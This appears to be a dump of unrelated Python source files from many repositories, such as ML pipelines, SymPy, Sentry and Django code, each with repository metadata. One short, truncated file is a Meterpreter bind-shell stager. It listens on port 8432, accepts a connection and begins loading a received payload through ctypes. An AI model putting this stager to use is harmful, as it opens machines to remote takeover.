tfx/examples/penguin/experimental/penguin_pipeline_sklearn_local_e2e_test.py
Shunpoco/tfx
85c365cd31943c32a7f3189ed34ad5c18b9b71fd
[ "Apache-2.0" ]
null
null
null
tfx/examples/penguin/experimental/penguin_pipeline_sklearn_local_e2e_test.py
Shunpoco/tfx
85c365cd31943c32a7f3189ed34ad5c18b9b71fd
[ "Apache-2.0" ]
null
null
null
# Copyright 2021 Google LLC. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or a...
42.277372
77
0.719095
84605544e0a438c91e3768e87f5d53ce57284120
3,218
py
Python
lib/train/recorder.py
bertid/clean-pvnet
8e1afdfe450c7d73274581d2907ad0215cba8331
[ "Apache-2.0" ]
284
2019-12-14T08:09:40.000Z
2022-03-26T02:17:26.000Z
lib/train/recorder.py
danikhani/clean-pvnet
4f91324c5bc9d2a05624f49c6cad15a33a446106
[ "Apache-2.0" ]
208
2019-12-16T13:09:49.000Z
2022-03-25T07:38:20.000Z
lib/train/recorder.py
danikhani/clean-pvnet
4f91324c5bc9d2a05624f49c6cad15a33a446106
[ "Apache-2.0" ]
88
2019-12-14T12:33:51.000Z
2022-03-22T21:07:09.000Z
from collections import deque, defaultdict import torch from tensorboardX import SummaryWriter import os class SmoothedValue(object): """Track a series of values and provide access to smoothed values over a window or the global series average. """ def __init__(self, window_size=20): self.dequ...
30.074766
113
0.60317
f7899be3964a3afacb86204ce70aa7ad65c9cf63
2,659
py
Python
script/update_mdi.py
evancohen/home-assistant
dafc0ced6b07025c03417d8e7a2c0133b4c622fc
[ "MIT" ]
14
2015-11-10T07:57:43.000Z
2021-08-29T13:45:26.000Z
script/update_mdi.py
evancohen/home-assistant
dafc0ced6b07025c03417d8e7a2c0133b4c622fc
[ "MIT" ]
null
null
null
script/update_mdi.py
evancohen/home-assistant
dafc0ced6b07025c03417d8e7a2c0133b4c622fc
[ "MIT" ]
8
2015-11-14T16:40:41.000Z
2020-02-17T19:48:08.000Z
#!/usr/bin/env python3 """ Downloads the latest Polymer v1 iconset version for materialdesignicons.com """ import os import re import requests import sys GETTING_STARTED_URL = ('https://raw.githubusercontent.com/Templarian/' 'MaterialDesign/master/site/getting-started.savvy') DOWNLOAD_LINK = re...
28.591398
75
0.655886
8a3c928933ff2cb6f7d393dff96a17db258d3ae4
18,619
py
Python
mffpy/tests/test_xml_files.py
hoechenberger/mffpy
11bcdd0de3024897977e473872e50b3ca1122edf
[ "Apache-2.0" ]
null
null
null
mffpy/tests/test_xml_files.py
hoechenberger/mffpy
11bcdd0de3024897977e473872e50b3ca1122edf
[ "Apache-2.0" ]
null
null
null
mffpy/tests/test_xml_files.py
hoechenberger/mffpy
11bcdd0de3024897977e473872e50b3ca1122edf
[ "Apache-2.0" ]
null
null
null
""" Copyright 2019 Brain Electrophysiology Laboratory Company LLC Licensed under the ApacheLicense, Version 2.0(the "License"); you may not use this module except in compliance with the License. You may obtain a copy of the License at: http: // www.apache.org / licenses / LICENSE - 2.0 Unless required by applicable ...
34.100733
79
0.576884
2f2ac9e6534bd5366a963892e39587ac497757bc
14,330
py
Python
chromewhip/protocol/overlay.py
onetwo1/chromewhip
2445b5c1dd8034cacd76be67a258f265da0fe20c
[ "MIT" ]
null
null
null
chromewhip/protocol/overlay.py
onetwo1/chromewhip
2445b5c1dd8034cacd76be67a258f265da0fe20c
[ "MIT" ]
null
null
null
chromewhip/protocol/overlay.py
onetwo1/chromewhip
2445b5c1dd8034cacd76be67a258f265da0fe20c
[ "MIT" ]
1
2020-04-16T21:07:27.000Z
2020-04-16T21:07:27.000Z
# noinspection PyPep8 # noinspection PyArgumentList """ AUTO-GENERATED BY `scripts/generate_protocol.py` using `data/browser_protocol.json` and `data/js_protocol.json` as inputs! Please do not modify this file. """ import logging from typing import Any, Optional, Union from chromewhip.helpers import PayloadMixin, Ba...
32.716895
123
0.539149
3c4471b43c319e2c7ad821fb3e1e04869ff09743
6,398
py
Python
src/sentry/utils/samples.py
sigismund/sentry
421a512cd3b4a4c9ed660af536dc5bc4c12a287c
[ "BSD-3-Clause" ]
1
2019-05-28T06:18:03.000Z
2019-05-28T06:18:03.000Z
src/sentry/utils/samples.py
sigismund/sentry
421a512cd3b4a4c9ed660af536dc5bc4c12a287c
[ "BSD-3-Clause" ]
6
2018-10-19T10:04:23.000Z
2019-12-09T20:29:12.000Z
src/sentry/utils/samples.py
sigismund/sentry
421a512cd3b4a4c9ed660af536dc5bc4c12a287c
[ "BSD-3-Clause" ]
null
null
null
""" sentry.utils.samples ~~~~~~~~~~~~~~~~~~~~ :copyright: (c) 2013 by the Sentry Team, see AUTHORS for more details. :license: BSD, see LICENSE for more details. """ from __future__ import absolute_import import os.path import random from datetime import datetime, timedelta import six from sentry.constants import D...
29.214612
122
0.589716
199f5833e924a0678b99e9c8370ee47d042691b9
1,918
py
Python
assignments/05-python-proteins/translate_proteins.py
vpaz1/biosys-analytics
17df59c0fc92adb87da3cfa312397762e22db7d1
[ "MIT" ]
null
null
null
assignments/05-python-proteins/translate_proteins.py
vpaz1/biosys-analytics
17df59c0fc92adb87da3cfa312397762e22db7d1
[ "MIT" ]
null
null
null
assignments/05-python-proteins/translate_proteins.py
vpaz1/biosys-analytics
17df59c0fc92adb87da3cfa312397762e22db7d1
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 """ Author : vpaz Date : 2019-02-18 Purpose: Rock the Casbah """ import argparse import sys # -------------------------------------------------- def get_args(): """get command-line arguments""" parser = argparse.ArgumentParser( description='Argparse Python script', fo...
24.278481
101
0.517727
87522a225e25d71da5688104f7323a61355a88d0
939
py
Python
src/vidsub/cli.py
andreoliwa/python-video-tools
947d8744202b9580045cab4e20eb58a56ce91ca3
[ "MIT" ]
null
null
null
src/vidsub/cli.py
andreoliwa/python-video-tools
947d8744202b9580045cab4e20eb58a56ce91ca3
[ "MIT" ]
1
2021-08-30T08:41:58.000Z
2021-08-30T08:41:58.000Z
src/vidsub/cli.py
andreoliwa/python-vidsub
cd47c72b6c75663c71d8f279c3593667761aa749
[ "MIT" ]
null
null
null
""" Module that contains the command line app. Why does this file exist, and why not put this in __main__? You might be tempted to import things from __main__ later, but that will cause problems: the code will get executed twice: - When you run `python -mvidsub` python will execute ``__main__.py`` as a scr...
33.535714
92
0.713525
b8f99e8024c5d0fcf8aad1f5af56cd1cf681b5bb
8,955
py
Python
.history/pages/intro_20220304122911.py
rypaik/Streamlit_Ref
5ce11cecbe8307238463c126b88b3beed66c99fa
[ "MIT" ]
null
null
null
.history/pages/intro_20220304122911.py
rypaik/Streamlit_Ref
5ce11cecbe8307238463c126b88b3beed66c99fa
[ "MIT" ]
null
null
null
.history/pages/intro_20220304122911.py
rypaik/Streamlit_Ref
5ce11cecbe8307238463c126b88b3beed66c99fa
[ "MIT" ]
null
null
null
""" Off Multipage Cheatsheet https://github.com/daniellewisDL/streamlit-cheat-sheet @daniellewisDL : https://github.com/daniellewisDL """ import streamlit as st from pathlib import Path import base64 from modules.toc import * # Initial page config st.set_page_config( page_title='Code Compendium Intro Page', ...
28.610224
206
0.652931
6986da1f29a2abdeacd1735267db819688fd8ca3
396
py
Python
github/plugins/topAPI.py
xIntensity9/snipepublic
d92ca8b87e2cca0f140eba9d52efdc8713babbdb
[ "Apache-2.0" ]
1
2021-09-12T12:42:42.000Z
2021-09-12T12:42:42.000Z
github/plugins/topAPI.py
xIntensity9/snipepublic
d92ca8b87e2cca0f140eba9d52efdc8713babbdb
[ "Apache-2.0" ]
null
null
null
github/plugins/topAPI.py
xIntensity9/snipepublic
d92ca8b87e2cca0f140eba9d52efdc8713babbdb
[ "Apache-2.0" ]
null
null
null
import dbl import discord from discord.ext import commands class topAPI(commands.Cog, name="topAPI"): def __init__(self, bot): self.bot = bot self.token = 'insert token here' # set this to your DBL token self.dblpy = dbl.DBLClient(self.bot, self.token, autopost=True) def set...
26.4
72
0.651515
4a4a45ab4341a37d50bd6eb8551d646d90d9e2e1
250
py
Python
typeidea/comment/adminx.py
hhdMrLion/typeidea
cc0fd611030bbe9751d108403d00c85d3041fe25
[ "MIT" ]
2
2020-07-30T08:27:25.000Z
2021-06-18T03:07:52.000Z
typeidea/comment/adminx.py
hhdMrLion/typeidea
cc0fd611030bbe9751d108403d00c85d3041fe25
[ "MIT" ]
null
null
null
typeidea/comment/adminx.py
hhdMrLion/typeidea
cc0fd611030bbe9751d108403d00c85d3041fe25
[ "MIT" ]
null
null
null
import xadmin # Register your models here. from typeidea.custom_site import custom_site from .models import Comment @xadmin.sites.register(Comment) class CommentAdmin: list_display = ('target', 'nickname', 'content', 'website', 'created_time')
25
79
0.768
36e10904b802f2afb93a1f0d777b049f7da203a7
481
py
Python
accounts/serializers.py
guilemes-freitas/coopers-backend
edc5d1e35dd7ee3e3f9356d94ff8c609c09e276b
[ "MIT" ]
null
null
null
accounts/serializers.py
guilemes-freitas/coopers-backend
edc5d1e35dd7ee3e3f9356d94ff8c609c09e276b
[ "MIT" ]
null
null
null
accounts/serializers.py
guilemes-freitas/coopers-backend
edc5d1e35dd7ee3e3f9356d94ff8c609c09e276b
[ "MIT" ]
null
null
null
from rest_framework import serializers class TaskSerializer(serializers.Serializer): id = serializers.IntegerField(read_only=True) title = serializers.CharField() completed = serializers.BooleanField(default=False) user_id = serializers.PrimaryKeyRelatedField(read_only=True) class UserSerializer(seria...
40.083333
64
0.7921
d93d4bb611579e965107ff5c41c2d83d1c2edc80
1,881
py
Python
toontown/coghq/DistributedCashbotBossTreasure.py
LittleNed/toontown-stride
1252a8f9a8816c1810106006d09c8bdfe6ad1e57
[ "Apache-2.0" ]
3
2020-01-02T08:43:36.000Z
2020-07-05T08:59:02.000Z
toontown/coghq/DistributedCashbotBossTreasure.py
NoraTT/Historical-Commits-Project-Altis-Source
fe88e6d07edf418f7de6ad5b3d9ecb3d0d285179
[ "Apache-2.0" ]
null
null
null
toontown/coghq/DistributedCashbotBossTreasure.py
NoraTT/Historical-Commits-Project-Altis-Source
fe88e6d07edf418f7de6ad5b3d9ecb3d0d285179
[ "Apache-2.0" ]
4
2019-06-20T23:45:23.000Z
2020-10-14T20:30:15.000Z
from toontown.safezone import DistributedTreasure from toontown.toonbase import ToontownGlobals from direct.interval.IntervalGlobal import * from pandac.PandaModules import Point3 Models = {ToontownGlobals.ToontownCentral: 'phase_4/models/props/icecream', ToontownGlobals.DonaldsDock: 'phase_6/models/props/starfish_tre...
43.744186
313
0.717172
56655b937e373f8ad897c1c6005cb34dc7bfef38
4,268
py
Python
WebApp/process_control/forms.py
ResoluteFPGrenada/GrenadaIntranetSite
841394a8073606c7a26ddf85a3976c6b4373bda9
[ "MIT" ]
null
null
null
WebApp/process_control/forms.py
ResoluteFPGrenada/GrenadaIntranetSite
841394a8073606c7a26ddf85a3976c6b4373bda9
[ "MIT" ]
5
2021-03-20T03:48:30.000Z
2022-03-12T00:28:34.000Z
WebApp/process_control/forms.py
ResoluteFPGrenada/GrenadaIntranetSite
841394a8073606c7a26ddf85a3976c6b4373bda9
[ "MIT" ]
null
null
null
from flask_wtf import FlaskForm from flask_wtf.file import FileField, FileAllowed from wtforms import (StringField, IntegerField, SubmitField, SelectField, TextAreaField, DecimalField) from wtforms.validators import DataRequired, Length, ValidationError from WebApp.api.sqlite_tool import sqlite_api db = "./app/WebApp/...
36.169492
123
0.624414
b765b99d4bb1ded7d174becdae9ff8d710647985
1,410
py
Python
meterpreter/windows_x86/scode32.py
cobranail/redteam
a21091ac0aef289b61dd05771fff7296fb7c4e7e
[ "MIT" ]
null
null
null
meterpreter/windows_x86/scode32.py
cobranail/redteam
a21091ac0aef289b61dd05771fff7296fb7c4e7e
[ "MIT" ]
null
null
null
meterpreter/windows_x86/scode32.py
cobranail/redteam
a21091ac0aef289b61dd05771fff7296fb7c4e7e
[ "MIT" ]
null
null
null
import struct, socket, binascii, ctypes, random, time shellcodepy, var1 = None, None def func1(): try: global var1 global datapack var1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) var1.bind(('0.0.0.0', 8432)) var1.listen(1) datapack,_ = var1.accept() datahandler = struct.pack('<i', datapack.filen...
47
167
0.741135
eeaf61faf0206eee03e08d7b861600044f174386
774
py
Python
tools/SeeDot/seedot/writer.py
Shenzhen-Cloudatawalk-Technology-Co-Ltd/EdgeML
ef9f8a77f096acbdeb941014791f8eda1c1bc35b
[ "MIT" ]
719
2019-05-10T00:31:30.000Z
2022-03-30T23:04:23.000Z
tools/SeeDot/seedot/writer.py
Shenzhen-Cloudatawalk-Technology-Co-Ltd/EdgeML
ef9f8a77f096acbdeb941014791f8eda1c1bc35b
[ "MIT" ]
119
2019-05-14T10:50:15.000Z
2022-03-01T22:01:09.000Z
tools/SeeDot/seedot/writer.py
Shenzhen-Cloudatawalk-Technology-Co-Ltd/EdgeML
ef9f8a77f096acbdeb941014791f8eda1c1bc35b
[ "MIT" ]
235
2019-05-07T13:55:37.000Z
2022-03-20T04:07:38.000Z
# Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT license. ''' This file contains the Writer class that is used by code generator module to output the target-device code. ''' class Writer: def __init__(self, fileName, mode = 'w'): self.file = open(fileName, mode) ...
23.454545
59
0.620155
497b2abaed9082bf45c955200939b605810d85b3
939
py
Python
mysite/blog/migrations/0002_blogauthor.py
kootoomo/wagtail-mysite
1d2446d6e9a57176aef378fa4e49e285409ac165
[ "MIT" ]
null
null
null
mysite/blog/migrations/0002_blogauthor.py
kootoomo/wagtail-mysite
1d2446d6e9a57176aef378fa4e49e285409ac165
[ "MIT" ]
null
null
null
mysite/blog/migrations/0002_blogauthor.py
kootoomo/wagtail-mysite
1d2446d6e9a57176aef378fa4e49e285409ac165
[ "MIT" ]
null
null
null
# Generated by Django 3.1 on 2020-10-29 19:54 from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('wagtailimages', '0022_uploadedimage'), ('blog', '0001_initial'), ] operations = [ migrations.CreateMo...
32.37931
146
0.578275
1ec132267ca81f9675c21ef0d888dbe562208fac
6,730
py
Python
src/lrrpy/wad.py
trigger-segfault/legorockraiders-analysis
38a3dd5dd35c141f1acbdbe320e11adc1f3e9660
[ "MIT" ]
9
2021-09-03T23:52:55.000Z
2022-03-19T01:05:40.000Z
src/lrrpy/wad.py
trigger-segfault/legorockraiders-analysis
38a3dd5dd35c141f1acbdbe320e11adc1f3e9660
[ "MIT" ]
null
null
null
src/lrrpy/wad.py
trigger-segfault/legorockraiders-analysis
38a3dd5dd35c141f1acbdbe320e11adc1f3e9660
[ "MIT" ]
null
null
null
#!/usr/bin/env python3 #-*- coding: utf-8 -*- """WAD file reader """ __version__ = '0.0.1' __date__ = '2021-06-19' __author__ = 'Robert Jordan' __all__ = ['WAD', 'WADEntry'] ####################################################################################### from collections import namedtuple import io, os f...
35.052083
221
0.592422
3e6c59a1032df17c966a1aa2c94f90c9e918604c
72,651
py
Python
sympy/simplify/simplify.py
inducer/sympy
551c16facb2081c7b7a085aeaf20316244a1da01
[ "BSD-3-Clause" ]
null
null
null
sympy/simplify/simplify.py
inducer/sympy
551c16facb2081c7b7a085aeaf20316244a1da01
[ "BSD-3-Clause" ]
null
null
null
sympy/simplify/simplify.py
inducer/sympy
551c16facb2081c7b7a085aeaf20316244a1da01
[ "BSD-3-Clause" ]
null
null
null
from collections import defaultdict from sympy.core import (Basic, S, Add, Mul, Pow, Symbol, sympify, expand_func, Function, Dummy, Expr, factor_terms, expand_power_exp, Eq) from sympy.core.exprtools import factor_nc from sympy.core.parameters import global_parameters fr...
33.822626
101
0.575574
309080e740007ae3771840820c624d42ff50c31e
1,611
py
Python
mindspore/_extends/graph_kernel/expanders/reduce_mean.py
chncwang/mindspore
6dac92aedf0aa1541d181e6aedab29aaadc2dafb
[ "Apache-2.0" ]
1
2021-03-10T09:05:13.000Z
2021-03-10T09:05:13.000Z
mindspore/_extends/graph_kernel/expanders/reduce_mean.py
king4arabs/mindspore
bc38590e5300588aa551355836043af0ea092a72
[ "Apache-2.0" ]
null
null
null
mindspore/_extends/graph_kernel/expanders/reduce_mean.py
king4arabs/mindspore
bc38590e5300588aa551355836043af0ea092a72
[ "Apache-2.0" ]
null
null
null
# Copyright 2020-2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agre...
37.465116
105
0.667287
473f47f5d6a37eede0394ce0c823c037d79e5a62
99
py
Python
faeAuditor/auditResults/apps.py
opena11y/fae-auditor
ea9099b37b77ddc30092b0cdd962647c92b143a7
[ "Apache-2.0" ]
2
2018-02-28T19:03:28.000Z
2021-09-30T13:40:23.000Z
faeAuditor/auditResults/apps.py
opena11y/fae-auditor
ea9099b37b77ddc30092b0cdd962647c92b143a7
[ "Apache-2.0" ]
6
2020-02-11T21:53:58.000Z
2022-02-10T07:57:58.000Z
faeAuditor/auditResults/apps.py
opena11y/fae-auditor
ea9099b37b77ddc30092b0cdd962647c92b143a7
[ "Apache-2.0" ]
1
2019-12-05T06:05:20.000Z
2019-12-05T06:05:20.000Z
from django.apps import AppConfig class AuditResultsConfig(AppConfig): name = 'auditResults'
16.5
36
0.777778
c13080eaaeaf59f36f9f3d17a87a0bdbf50b4abd
1,110
py
Python
examples/find_range.py
sredmond/popup-console
91b0283f0f03790c039f97aafee0c6709a429162
[ "MIT" ]
2
2019-05-24T05:02:12.000Z
2022-02-22T23:54:24.000Z
examples/find_range.py
sredmond/popup-console
91b0283f0f03790c039f97aafee0c6709a429162
[ "MIT" ]
null
null
null
examples/find_range.py
sredmond/popup-console
91b0283f0f03790c039f97aafee0c6709a429162
[ "MIT" ]
1
2022-02-22T23:54:36.000Z
2022-02-22T23:54:36.000Z
import console console.setup() from simpio import get_integer # Value representing positive infinity. POSITIVE_INFINITY = float('inf') # Value representing negative infinity. NEGATIVE_INFINITY = float('-inf') # Input that terminates the program. SENTINEL = 0 def main(): print("This program finds the largest ...
25.227273
79
0.663063
b3c927031fe6b463fde2bb9f10f46b11e57776e1
4,378
py
Python
tableschema_to_template/validation_factory.py
mccalluc/tableschema-to-template
6a206fcaf29227491259502f7a7743ca8d2a710a
[ "MIT" ]
5
2020-12-05T18:53:54.000Z
2021-06-07T15:54:44.000Z
tableschema_to_template/validation_factory.py
mccalluc/tableschema-to-template
6a206fcaf29227491259502f7a7743ca8d2a710a
[ "MIT" ]
13
2020-12-01T19:20:01.000Z
2021-03-07T03:03:04.000Z
tableschema_to_template/validation_factory.py
mccalluc/tableschema-to-excel-template
6a206fcaf29227491259502f7a7743ca8d2a710a
[ "MIT" ]
2
2021-02-08T15:15:33.000Z
2021-06-07T15:55:49.000Z
def get_validation(field, workbook): if 'constraints' in field and 'enum' in field['constraints']: return EnumValidation(field, workbook) if 'type' in field and field['type'] == 'number': return FloatValidation(field, workbook) if 'type' in field and field['type'] == 'integer': retur...
32.917293
121
0.594107
826f4345298d2e0f55ed7008715dd31b16b2213e
36,574
py
Python
chatbot_env/Lib/site-packages/sklearn/tree/_export.py
rakmakan/Chatbot
d04bc1526b56961a16c25148d9ef18c4f157e9c4
[ "MIT" ]
6,989
2017-07-18T06:23:18.000Z
2022-03-31T15:58:36.000Z
chatbot_env/Lib/site-packages/sklearn/tree/_export.py
rakmakan/Chatbot
d04bc1526b56961a16c25148d9ef18c4f157e9c4
[ "MIT" ]
1,978
2017-07-18T09:17:58.000Z
2022-03-31T14:28:43.000Z
site-packages/sklearn/tree/_export.py
Wristlebane/Pyto
901ac307b68486d8289105c159ca702318bea5b0
[ "MIT" ]
1,228
2017-07-18T09:03:13.000Z
2022-03-29T05:57:40.000Z
""" This module defines export functions for decision trees. """ # Authors: Gilles Louppe <g.louppe@gmail.com> # Peter Prettenhofer <peter.prettenhofer@gmail.com> # Brian Holt <bdholt1@gmail.com> # Noel Dawe <noel@dawe.me> # Satrajit Gosh <satrajit.ghosh@gmail.com> # Trevor...
38.580169
79
0.566741
4f2c88c949b378826abff95e1452dbe92bd44fe7
495
py
Python
mph/__init__.py
max3-2/MPh
ab2ddb7a396b154c876b9aaba0b36ca9c00abe98
[ "MIT" ]
null
null
null
mph/__init__.py
max3-2/MPh
ab2ddb7a396b154c876b9aaba0b36ca9c00abe98
[ "MIT" ]
null
null
null
mph/__init__.py
max3-2/MPh
ab2ddb7a396b154c876b9aaba0b36ca9c00abe98
[ "MIT" ]
null
null
null
"""Pythonic scripting interface for Comsol Multiphysics""" # Meta information __title__ = 'MPh' __version__ = '1.0.4' __date__ = '2021–05–23' __author__ = 'John Hennig' __copyright__ = 'John Hennig' __license__ = 'MIT' # Public interface from .session import start from .config import opt...
24.75
60
0.688889
dc27884907b2f76d4b7910630e7fc880c7e262d8
4,982
py
Python
signjoey/loss.py
ClementNguyen/slt
20ee90349d1ed0655b99612ffcfae6d079116db6
[ "Apache-2.0" ]
null
null
null
signjoey/loss.py
ClementNguyen/slt
20ee90349d1ed0655b99612ffcfae6d079116db6
[ "Apache-2.0" ]
null
null
null
signjoey/loss.py
ClementNguyen/slt
20ee90349d1ed0655b99612ffcfae6d079116db6
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 """ Module to implement training loss """ import torch from torch import nn, Tensor import torch.nn.functional as F from torch.autograd import Variable class XentLoss(nn.Module): """ Cross-Entropy Loss with optional label smoothing """ def __init__(self, pad_index: int, smoothing: fl...
40.836066
97
0.613007
d4e8363ff1874bea4f62b9d7082f5736ab78b761
3,155
py
Python
perfkitbenchmarker/providers/alicloud/util.py
msidana/PerfKitBenchmarker
2784642d3e6b20b3f474c4e27edb1ef163804f66
[ "Apache-2.0" ]
1
2018-08-28T19:33:21.000Z
2018-08-28T19:33:21.000Z
perfkitbenchmarker/providers/alicloud/util.py
msidana/PerfKitBenchmarker
2784642d3e6b20b3f474c4e27edb1ef163804f66
[ "Apache-2.0" ]
1
2021-02-23T12:07:44.000Z
2021-02-23T12:07:44.000Z
perfkitbenchmarker/providers/alicloud/util.py
msidana/PerfKitBenchmarker
2784642d3e6b20b3f474c4e27edb1ef163804f66
[ "Apache-2.0" ]
null
null
null
# Copyright 2015 PerfKitBenchmarker Authors. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by appli...
28.423423
76
0.713154
0f8247646a9fdee856dfd2cbd49be810000dfebe
4,476
py
Python
train.py
QY-H00/hand_pose
1301e7cab3ef7da1998f1c0efd21eceaac0901f8
[ "MIT" ]
null
null
null
train.py
QY-H00/hand_pose
1301e7cab3ef7da1998f1c0efd21eceaac0901f8
[ "MIT" ]
null
null
null
train.py
QY-H00/hand_pose
1301e7cab3ef7da1998f1c0efd21eceaac0901f8
[ "MIT" ]
null
null
null
import argparse import os os.environ["CUDA_VISIBLE_DEVICES"] = '7' import torch.backends.cudnn as cudnn import torch.optim import train_baseline import train_regression import train_softargmax import train_skeleton device = torch.device("cuda" if torch.cuda.is_available() else "cpu") cudnn.benchmark = True device =...
22.268657
83
0.577301
7d26331ce74456bf594660c3befbb73964721d0a
1,135
py
Python
data/train/python/7d26331ce74456bf594660c3befbb73964721d0aviews.py
harshp8l/deep-learning-lang-detection
2a54293181c1c2b1a2b840ddee4d4d80177efb33
[ "MIT" ]
84
2017-10-25T15:49:21.000Z
2021-11-28T21:25:54.000Z
data/train/python/7d26331ce74456bf594660c3befbb73964721d0aviews.py
vassalos/deep-learning-lang-detection
cbb00b3e81bed3a64553f9c6aa6138b2511e544e
[ "MIT" ]
5
2018-03-29T11:50:46.000Z
2021-04-26T13:33:18.000Z
data/train/python/7d26331ce74456bf594660c3befbb73964721d0aviews.py
vassalos/deep-learning-lang-detection
cbb00b3e81bed3a64553f9c6aa6138b2511e544e
[ "MIT" ]
24
2017-11-22T08:31:00.000Z
2022-03-27T01:22:31.000Z
from rest_framework.decorators import api_view from rest_framework.response import Response from repository.models import Repository, get_available_repositories from repository.models import get_default_repository from repository.serializers import RepositorySerializer @api_view(['GET']) def repository_list(request):...
28.375
68
0.735683
ff98ca0cd00e46bf4a28b95a86b4ebd9f408fb9c
282
py
Python
setup.py
anthonygarvan/MinHash
8a88c95deafe4ffe70b1f9680b04f522c6315789
[ "MIT" ]
27
2015-10-22T17:40:21.000Z
2020-09-08T00:50:35.000Z
setup.py
anthonygarvan/MinHash
8a88c95deafe4ffe70b1f9680b04f522c6315789
[ "MIT" ]
null
null
null
setup.py
anthonygarvan/MinHash
8a88c95deafe4ffe70b1f9680b04f522c6315789
[ "MIT" ]
14
2015-12-18T15:03:03.000Z
2021-06-25T06:07:02.000Z
from setuptools import setup, find_packages setup( name="MinHash", version="1.0.0", license="public domain", packages=find_packages(), classifiers=[ 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 2 :: Only' ] )
21.692308
53
0.613475
407a35975e3b4694ce986aa46a118ecf84f09956
898
py
Python
examples/providers/configuration/configuration_type.py
YelloFam/python-dependency-injector
541131e33858ee1b8b5a7590d2bb9f929740ea1e
[ "BSD-3-Clause" ]
null
null
null
examples/providers/configuration/configuration_type.py
YelloFam/python-dependency-injector
541131e33858ee1b8b5a7590d2bb9f929740ea1e
[ "BSD-3-Clause" ]
null
null
null
examples/providers/configuration/configuration_type.py
YelloFam/python-dependency-injector
541131e33858ee1b8b5a7590d2bb9f929740ea1e
[ "BSD-3-Clause" ]
null
null
null
"""`Configuration` provider type specification example.""" import os from dependency_injector import containers, providers class ApiClient: def __init__(self, api_key: str, timeout: int): self.api_key = api_key self.timeout = timeout class Container(containers.DeclarativeContainer): confi...
23.025641
58
0.695991
21ff8d826634a51ab16c51dfcfcfe725a5ad5eec
198,335
py
Python
lifecycle_rl/episodestats.py
ajtanskanen/lifecycle-rl
16224e9f1bf3c29c7ae4f6db7bd511e964008f6f
[ "MIT" ]
1
2020-01-07T13:11:20.000Z
2020-01-07T13:11:20.000Z
lifecycle_rl/episodestats.py
ajtanskanen/lifecycle-rl
16224e9f1bf3c29c7ae4f6db7bd511e964008f6f
[ "MIT" ]
null
null
null
lifecycle_rl/episodestats.py
ajtanskanen/lifecycle-rl
16224e9f1bf3c29c7ae4f6db7bd511e964008f6f
[ "MIT" ]
null
null
null
''' episodestats.py implements statistic that are used in producing employment statistics for the lifecycle model ''' import h5py import numpy as np import numpy_financial as npf import matplotlib.pyplot as plt import matplotlib as mpl import seaborn as sns from scipy.stats import norm #import locale fr...
48.303702
865
0.600978